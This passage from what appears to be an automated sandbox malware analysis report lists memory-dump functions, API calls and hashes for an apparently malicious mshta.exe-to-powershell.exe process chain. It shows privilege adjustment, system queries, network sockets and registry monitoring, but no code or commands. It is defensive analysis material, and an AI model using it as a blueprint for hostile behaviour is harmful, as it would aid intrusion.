Instruction Fuzzy Hash: F9C092361142A58BC6118798EAD2BA23FA16B8110DF091846E1D8C7662C328A9608B44

Uniqueness

Uniqueness Score: -1.00%

Function 02A57CC0, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73afacc84b7f30524cb471f0cac0e6604aff2e3fb546e5bd2bc61bb790b742b1
Instruction ID: 10d44fa8683df86901295d32dab82771c44d8cd01296c4724ebd48c2c0ae0be1
Opcode Fuzzy Hash: 73afacc84b7f30524cb471f0cac0e6604aff2e3fb546e5bd2bc61bb790b742b1
Instruction Fuzzy Hash: A1B0123100130CEBC7015F62E4058857F2DEB113627404035F50484530CB33D4E0DAD4

Uniqueness

Uniqueness Score: -1.00%

Function 02A59580, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction ID: bde584bcc0a20163e1d20aefd562f14664055d751c7398f878511897cdc0a054
Opcode Fuzzy Hash: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction Fuzzy Hash: DFB012301042084B8100D6C8D841810F39CDB84518314C099980C47302CA23FC038580

Uniqueness

Uniqueness Score: -1.00%

Function 02A5959B, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b0ef21a55a7d579346ee01c44a03abd3ecac7a9dd673cfdf328afd71350a35
Instruction ID: 481fc5d5c61f3391fe4c439a12ae22655c6b8726c0a4ec1b711559b6fe9fb2e5
Opcode Fuzzy Hash: 62b0ef21a55a7d579346ee01c44a03abd3ecac7a9dd673cfdf328afd71350a35
Instruction Fuzzy Hash: B0A0243C00414315C701335470470D43F01CD0001C33001D5CCCC0545345070453450C

Uniqueness

Uniqueness Score: -1.00%

Function 02A57FB0, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b46c9998e8a7b29ad70e137db3d2e1826c953c0d9a5cd5eb36f8f116af3e050b
Instruction ID: 5e511bc28a429e1a82e43f759fb21323bf1bdfcabb3d46102000b03c6b18918b
Opcode Fuzzy Hash: b46c9998e8a7b29ad70e137db3d2e1826c953c0d9a5cd5eb36f8f116af3e050b
Instruction Fuzzy Hash: 8A90023105460CCB46402799750A5557B5C9654519B841051F54DC25115E95645049AA

Uniqueness

Uniqueness Score: -1.00%

Function 02A57F90, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9d603355e7b9b8bb77ab698b64aaf252c0cc3428a1734ca7c971b72fc75d254
Instruction ID: 10a0b83f3530caa15ec1f834733dac82f487b9a7fdd78e28f497875d4f0a890c
Opcode Fuzzy Hash: e9d603355e7b9b8bb77ab698b64aaf252c0cc3428a1734ca7c971b72fc75d254
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 02A595A0, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10ba0b1510af1e7bb03a70da83fb6f9f1168eaaaf4a13e926d108e88e88901d8
Instruction ID: 37d75a450a66af65d7daafc457e6f7522effb3d43a9cf07682375a4c3591993c
Opcode Fuzzy Hash: 10ba0b1510af1e7bb03a70da83fb6f9f1168eaaaf4a13e926d108e88e88901d8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02A51538, Relevance: 3.9, Strings: 3, Instructions: 141COMMON

Download Yara Rule

Strings

:@lq, xrefs: 02A51670
R]qq, xrefs: 02A515A4
*_qq, xrefs: 02A5168D

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID: *_qq$:@lq$R]qq
API String ID: 0-403329157
Opcode ID: 8391e38ea851e9a763c73a7407ecee279b432fb9eca8c447c33e11e877bcef13
Instruction ID: 5b32839902665fd474c40ca2cc566fbeb21b67fa370868fb54b0e53aa5cd9992
Opcode Fuzzy Hash: 8391e38ea851e9a763c73a7407ecee279b432fb9eca8c447c33e11e877bcef13
Instruction Fuzzy Hash: BE512770A1124DDFE704EFAAE84679EBBF2FB85344F64C029E109AB254EF7418058B90

Uniqueness

Uniqueness Score: -1.00%

Function 02A51548, Relevance: 3.9, Strings: 3, Instructions: 139COMMON

Download Yara Rule

Strings

:@lq, xrefs: 02A51670
R]qq, xrefs: 02A515A4
*_qq, xrefs: 02A5168D

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID: *_qq$:@lq$R]qq
API String ID: 0-403329157
Opcode ID: cf538352e2adf8dbc088cc5ae187d22c7ff841a668d984b8563e960f509d3f74
Instruction ID: 21838480101e3a0963e42efcafd8e936d8151aefb4dc50034370041f735808f6
Opcode Fuzzy Hash: cf538352e2adf8dbc088cc5ae187d22c7ff841a668d984b8563e960f509d3f74
Instruction Fuzzy Hash: B5512970A1124DDFE744EFAAE84679EBBF2FB85344FA4C129E1099B254EF741805CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02A5618D, Relevance: .6, Instructions: 612COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ae4b954b9e0962d2dfbe7236cdd9061daf847f4893d947f5659b9c46b8f5117
Instruction ID: b5d5f4c10398342fb3b38dca440de9c606a0f6f7bf6d8569d34a8816c8c1a909
Opcode Fuzzy Hash: 2ae4b954b9e0962d2dfbe7236cdd9061daf847f4893d947f5659b9c46b8f5117
Instruction Fuzzy Hash: 1A22685099AAE64BE7438FB884B72EBBFF19D9722575C80CACCD01DE0BD902552BC744

Uniqueness

Uniqueness Score: -1.00%

Function 02A574C8, Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d6fe88e5bec878bea85c8c7e3b79d115ece213c034ad2315269ae4f5d427557
Instruction ID: 1ff72e3f6f0fc03732d761ac72d004193f9ea4737723de2ef47c0f58533ca645
Opcode Fuzzy Hash: 5d6fe88e5bec878bea85c8c7e3b79d115ece213c034ad2315269ae4f5d427557
Instruction Fuzzy Hash: BE81B274E01228CFDB54DFA9E984B9EBBF2FB49304F209569E809BB211DB309945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02A574B7, Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cb2ef4d2b55a095f84ca2323ae460cea8125c09bd80fcfa6aa91fcd7072d0f8
Instruction ID: e91aeb8bf387c200fa8cced5c32c895f08ab96864debf162fdd17172dc6dd0a5
Opcode Fuzzy Hash: 9cb2ef4d2b55a095f84ca2323ae460cea8125c09bd80fcfa6aa91fcd7072d0f8
Instruction Fuzzy Hash: 2181B274D11228CFDB54DFA9E984B9EBBF2FB49304F209569E809BB211DB309985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02A51897, Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5540ffb4e72c3eaa625510c9286217ecd927dab93eda731733310c2f131b5b
Instruction ID: 33fb02abb9293f34043106e96a46efeab1a90af15d49eac77eba483504180f49
Opcode Fuzzy Hash: 3d5540ffb4e72c3eaa625510c9286217ecd927dab93eda731733310c2f131b5b
Instruction Fuzzy Hash: 5C412471E056598BEB5DCF6BDD4079AFAF7AFC8300F14C1BA980CA6255DB704A868F10

Uniqueness

Uniqueness Score: -1.00%

Function 02A518A8, Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9556749f1c37937c7a92f2d14e50c9fe6d00cd3f44b7bbbd5fa3195bc1658aa9
Instruction ID: 4b37ad642981df476eca3da654fdd95e8373142a8f8c21f65fc0ca1e9f910e14
Opcode Fuzzy Hash: 9556749f1c37937c7a92f2d14e50c9fe6d00cd3f44b7bbbd5fa3195bc1658aa9
Instruction Fuzzy Hash: 2E4131B1D016198BEB6DCF6BCD5079EFAF7AFC8240F14C1BA980CA6255DB300A858F11

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mshta.exe PID: 600 Parent PID: 2368 mshta.exeCOMMON

Executed Functions

Function 02E10FB9, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000003.2230624598.0000000002E10000.00000010.00000001.sdmp, Offset: 02E10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: f5513645fc86e30cf1ded49a522aa31062f7b53504141797724232dec7e99b10
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 02E10F31, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000003.2230624598.0000000002E10000.00000010.00000001.sdmp, Offset: 02E10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: f5513645fc86e30cf1ded49a522aa31062f7b53504141797724232dec7e99b10
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 02E10F19, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000003.2230624598.0000000002E10000.00000010.00000001.sdmp, Offset: 02E10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: f5513645fc86e30cf1ded49a522aa31062f7b53504141797724232dec7e99b10
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 288 Parent PID: 600 powershell.exeCOMMON

Executed Functions

Function 01D9ACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01D9AD37

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 6016ee67d2ace222cd100311a5b6ed5beb7ab642b3f6ae0527ace73fa12d5faa
Instruction ID: 03c93dab550e62d8089663b8373da1d25138ffc1dc260204acbf06a3e5ca4c53
Opcode Fuzzy Hash: 6016ee67d2ace222cd100311a5b6ed5beb7ab642b3f6ae0527ace73fa12d5faa
Instruction Fuzzy Hash: 5921D1765097809FEB238F29DC44B92BFB4EF06310F0884DAE9848F163D2319908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D9ACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01D9AD37

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 00e0ed9fc3ac7c0d576eeaa4b3fabc9c6290d8e252aff71e76078e7c8d0563d4
Instruction ID: d8a5a384cad8eef9812a3a4ba0a93e27ff8033472970165cb4441a867a6ab9bd
Opcode Fuzzy Hash: 00e0ed9fc3ac7c0d576eeaa4b3fabc9c6290d8e252aff71e76078e7c8d0563d4
Instruction Fuzzy Hash: AB117076500704DFEF21CF59D884B96FBE4EF08221F08C46AED498B662E771E414DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D9B2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01D9B329

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 15a15c123cb436f4bd28dd3d57cc66446bcd2af1ed34f23d1dac6225def89996
Instruction ID: e53db3ba6f66c96f86fbb1f1d9d9a50ed5066b0d70abcc59a3afea70739d2b6c
Opcode Fuzzy Hash: 15a15c123cb436f4bd28dd3d57cc66446bcd2af1ed34f23d1dac6225def89996
Instruction Fuzzy Hash: 16119E71508780AFDB228F15DC45E52FFB4EF06224F09849AED884B663C275A818DB62

Uniqueness

Uniqueness Score: -1.00%

Function 01D9B2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01D9B329

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 633f84859d31f5062ef43392d80b8f09171872c3ce96dcf483c933917622d679
Instruction ID: 2595efc5b679180b16290b0b59c7e91b72224f996c162cef4a51e7e0da393fa2
Opcode Fuzzy Hash: 633f84859d31f5062ef43392d80b8f09171872c3ce96dcf483c933917622d679
Instruction Fuzzy Hash: 8601A932500700DFEF21CF49E885B26FBA0EF18721F08C09ADD890B622C275E418DB62

Uniqueness

Uniqueness Score: -1.00%

Function 028787A0, Relevance: 2.7, Strings: 2, Instructions: 191COMMON

Download Yara Rule

Strings

*_qq, xrefs: 02878C01
(, xrefs: 02878DA4

Memory Dump Source

Source File: 00000018.00000002.2329666300.0000000002870000.00000040.00000001.sdmp, Offset: 02870000, based on PE: false

Similarity

API ID:
String ID: ($*_qq
API String ID: 0-3610607862
Opcode ID: ccbb11f5a3c3acd201b94a962b30d757f4261c859f3e697c5eeaca6e09fa5581
Instruction ID: ce01a4c9e3350c53723cb3124be0dfcc831dc4c509a40b3afb57c09c0c040d07
Opcode Fuzzy Hash: ccbb11f5a3c3acd201b94a962b30d757f4261c859f3e697c5eeaca6e09fa5581
Instruction Fuzzy Hash: 52716039E00269CFDB24EB65CC557ADB6B2AF84304F1484AAC50EB7291DF709D41DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 028788D6, Relevance: 2.6, Strings: 2, Instructions: 116COMMON

Download Yara Rule

Strings

*_qq, xrefs: 02878C01
(, xrefs: 02878DA4

Memory Dump Source

Source File: 00000018.00000002.2329666300.0000000002870000.00000040.00000001.sdmp, Offset: 02870000, based on PE: false

Similarity

API ID:
String ID: ($*_qq
API String ID: 0-3610607862
Opcode ID: fee59cc5df56359b2110c59a15fe9fb2635b4057f3aa8dffe430e560532bef3b
Instruction ID: f4d97aa465f26832c65ce732ed5b18caa13f4bffc1093bae2f4d81a55462abc2
Opcode Fuzzy Hash: fee59cc5df56359b2110c59a15fe9fb2635b4057f3aa8dffe430e560532bef3b
Instruction Fuzzy Hash: F9413B38A002698FDB68EB64CD547ADB7B2BF94304F1484A9C50DB7291DB319D81DF62

Uniqueness

Uniqueness Score: -1.00%

Function 028D1DDC, Relevance: 1.6, APIs: 1, Instructions: 127networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32 ref: 028D1EC6

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 60c6b1e51426d1d107373999d2e8983595038f307494ca11a8ba4d0b4835d7ba
Instruction ID: ffbeae6c82a3283dda5c9ce7ac0bf9e26e09fbfbd15867ce9095a680af0c0e78
Opcode Fuzzy Hash: 60c6b1e51426d1d107373999d2e8983595038f307494ca11a8ba4d0b4835d7ba
Instruction Fuzzy Hash: AD414C7540E7C0AFD7238B758C65A55BFB4AF07214F0A85DBE8C4CF5A3C2699809C762

Uniqueness

Uniqueness Score: -1.00%

Function 028D38E7, Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000E9C), ref: 028D39BF

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: cf28616ef0fa3ff2c7f3edc622c557fdf9f7ffca7ac66e3227a95632979f546e
Instruction ID: fdf762c69dbc50fd34f1cb044b6afdb4b2b3368d1c43cdbae6b535b5d887d9d0
Opcode Fuzzy Hash: cf28616ef0fa3ff2c7f3edc622c557fdf9f7ffca7ac66e3227a95632979f546e
Instruction Fuzzy Hash: E031B2B1544380AFE722CF60DC85FA6BBACEF05314F14449AFA849B192D779A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028D0118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 028D01D0

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: f329a2e43bd980f1d1955a5d1fb8a0d4c0b0654222dce7004aa9e0f83a8246be
Instruction ID: b25f3731a02a592d273d58257782f43a086b303762e46062ffeecea9b4481709
Opcode Fuzzy Hash: f329a2e43bd980f1d1955a5d1fb8a0d4c0b0654222dce7004aa9e0f83a8246be
Instruction Fuzzy Hash: 2A31386650E3C08FEB138B759C65691BFB4AF03310F0E84DBD884CF1A3D6659809DB62

Uniqueness

Uniqueness Score: -1.00%

Function 028D1BEC, Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNEL32(?,00000E9C), ref: 028D1C8B

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e3fe13cd6c92cdd9cac4468e54750993945dcf3b9b60a9cbbf74a2808d48551d
Instruction ID: 3489978d51094783ea07e333c9aeace21b2734bd28c1cb752f6b7405489fe38b
Opcode Fuzzy Hash: e3fe13cd6c92cdd9cac4468e54750993945dcf3b9b60a9cbbf74a2808d48551d
Instruction Fuzzy Hash: 8431C072504344AFEB22CF61CC45FA7BBACEF05210F08899EF985DB152D635A909DB71

Uniqueness

Uniqueness Score: -1.00%

Function 028D2A7C, Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNEL32(?,00000E9C), ref: 028D2B1B

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9abcf2e000c6c25c8a5bfdaca06699a90fd83cd4cba3a71c4e51665adb4f685c
Instruction ID: c65543b457d13aa417e1a42e98feed56b58843ce4d54c37f81480cf157b71916
Opcode Fuzzy Hash: 9abcf2e000c6c25c8a5bfdaca06699a90fd83cd4cba3a71c4e51665adb4f685c
Instruction Fuzzy Hash: 2831D172500344AFEB22CF21CC44FA7BBACEF05220F04899EF985DB152D225E909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028D067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 028D072D

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 28a5c074a726fbc2c51e2e02aee340bcdad9f356ea2ab1f5563b425523d2a123
Instruction ID: a7f9a692d58e18b32bb2dc08c9ccc921b5bc4668984a7755870407ac85925fec
Opcode Fuzzy Hash: 28a5c074a726fbc2c51e2e02aee340bcdad9f356ea2ab1f5563b425523d2a123
Instruction Fuzzy Hash: FF315075505380AFE722CF65CC45F56BFF8EF05310F09849EE989CB292D365A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028D0D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 028D0DD6

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 97566b6f982aa5c1db61ea088894624b75d72af7c4f01e4b7bb97bdc98907cdf
Instruction ID: b3e1700d4d7f6b5c6b84638a907d97662373a8d0258233c59b5062a5c044bdd3
Opcode Fuzzy Hash: 97566b6f982aa5c1db61ea088894624b75d72af7c4f01e4b7bb97bdc98907cdf
Instruction Fuzzy Hash: AF319875509380AFE712CB25DC45B96BFE8DF06314F0885AAE948CF293D375A909CB72

Uniqueness

Uniqueness Score: -1.00%

Function 01D9BD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 01D9BDBC

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: dee84c25ed8c1daad0c1d64652a7e95188772ae49e4e9ba8f19f339c2a1ef201
Instruction ID: a1625dfd5a4fa7825889e4b6c73b91a1d1d3725b5cedc96e01b209ce425efea8
Opcode Fuzzy Hash: dee84c25ed8c1daad0c1d64652a7e95188772ae49e4e9ba8f19f339c2a1ef201
Instruction Fuzzy Hash: B531C571009380AFE722CB60DC45F96BFB8EF06210F0984DBF984CB193D224A908C771

Uniqueness

Uniqueness Score: -1.00%

Function 01D9AF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 01D9AFBE

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 01dd2a7d6cee8a730b1fbba3969077e83d568a342c89776873b874b00426b5cf
Instruction ID: 3f446a3f8e3e4fd16a76ff2bde304b7cda7396dec1708a904dac2b66e44ee215
Opcode Fuzzy Hash: 01dd2a7d6cee8a730b1fbba3969077e83d568a342c89776873b874b00426b5cf
Instruction Fuzzy Hash: F721D5B2509380AFEB128F24DC45B96BFB8EF06320F0984DBE984DB193C2259945C761

Uniqueness

Uniqueness Score: -1.00%

Function 028D0FEE, Relevance: 1.6, APIs: 1, Instructions: 86encryptionCOMMON

Download Yara Rule

APIs

CertGetCertificateChain.CRYPT32(?,00000E9C,?,?), ref: 028D109E

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: CertCertificateChain
String ID:
API String ID: 3019455780-0
Opcode ID: e1156726099129ffa67a8c26784d1aead048f599a751eb0450370999feb032fa
Instruction ID: 5d377ac4ab578e0f125f429aad0199a935698e4246c8adba2096f96721fd8f99
Opcode Fuzzy Hash: e1156726099129ffa67a8c26784d1aead048f599a751eb0450370999feb032fa
Instruction Fuzzy Hash: 2A31817550E3C06FD3138B358C55B65BFB4AF43610F1A81DBD8848F2A3D6296909C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 028D27AD, Relevance: 1.6, APIs: 1, Instructions: 85synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 028D284D

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: d7b00e45a028a8e20bf63cebf1bc744d306273758c2c58ce2afd6dcc34770a1c
Instruction ID: 568a5de216237327c0f069d36ebe26a60082d5b1217222ea3857b26809790db0
Opcode Fuzzy Hash: d7b00e45a028a8e20bf63cebf1bc744d306273758c2c58ce2afd6dcc34770a1c
Instruction Fuzzy Hash: 9B3161B5505784AFE721CF25DC45F56FFE8EF05210F0884AEE988CB292D365E908CB65

Uniqueness

Uniqueness Score: -1.00%

Function 028D391A, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000E9C), ref: 028D39BF

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: d2f2af49f7a915e2b5f702c5e16adc59c430574d01d3af0dce7d54006a2a3022
Instruction ID: 4cdf8e6f140361c2f9a8f1cde04ebcb09ad0c3b005ad68901ff6f6a252b14099
Opcode Fuzzy Hash: d2f2af49f7a915e2b5f702c5e16adc59c430574d01d3af0dce7d54006a2a3022
Instruction Fuzzy Hash: 3821E271200304BFFB21DF50DC85FAAFBACEF04710F04889AFA489A181D675A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028D2503, Relevance: 1.6, APIs: 1, Instructions: 83fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE ref: 028D25AA

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 702a66ac93d569a491e98ca95696e36c05d988db1982c824f65a4b2a2574e1fb
Instruction ID: 693abfaa3dcb244795e37c515a8d08d7ea5cf6f7f07bedc762e8371e51e335bb
Opcode Fuzzy Hash: 702a66ac93d569a491e98ca95696e36c05d988db1982c824f65a4b2a2574e1fb
Instruction Fuzzy Hash: BE31A072405384AFE722CF55CC45F56FFF8EF06210F08859EE9888B252D365A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028D314E, Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegNotifyChangeKeyValue.KERNEL32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D31F8

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: ChangeNotifyValue
String ID:
API String ID: 3933585183-0
Opcode ID: 7e4d924635780b28e1ac29d26d0c68ee990bc8b6a22148a3a7e4f3219ea96c0c
Instruction ID: 7f7d2e1011aa3effc32f5f9386dc2c5aece213aea9ec2a25b1f93c155a045807
Opcode Fuzzy Hash: 7e4d924635780b28e1ac29d26d0c68ee990bc8b6a22148a3a7e4f3219ea96c0c
Instruction Fuzzy Hash: 8131D072405384AFEB22CF50DC44F96FFA8EF06310F08859AE9889B153D274A909CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 028D2F54, Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenCurrentUser.KERNEL32(?,00000E9C), ref: 028D2FED

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: CurrentOpenUser
String ID:
API String ID: 1571386571-0
Opcode ID: ba87f69450b2c806c86b08793889d1303f2debadd9131abe7dec421a950435ad
Instruction ID: d63a00174b86795f83311421f73b57ed3916dc951a4fe5528345eafc21707380
Opcode Fuzzy Hash: ba87f69450b2c806c86b08793889d1303f2debadd9131abe7dec421a950435ad
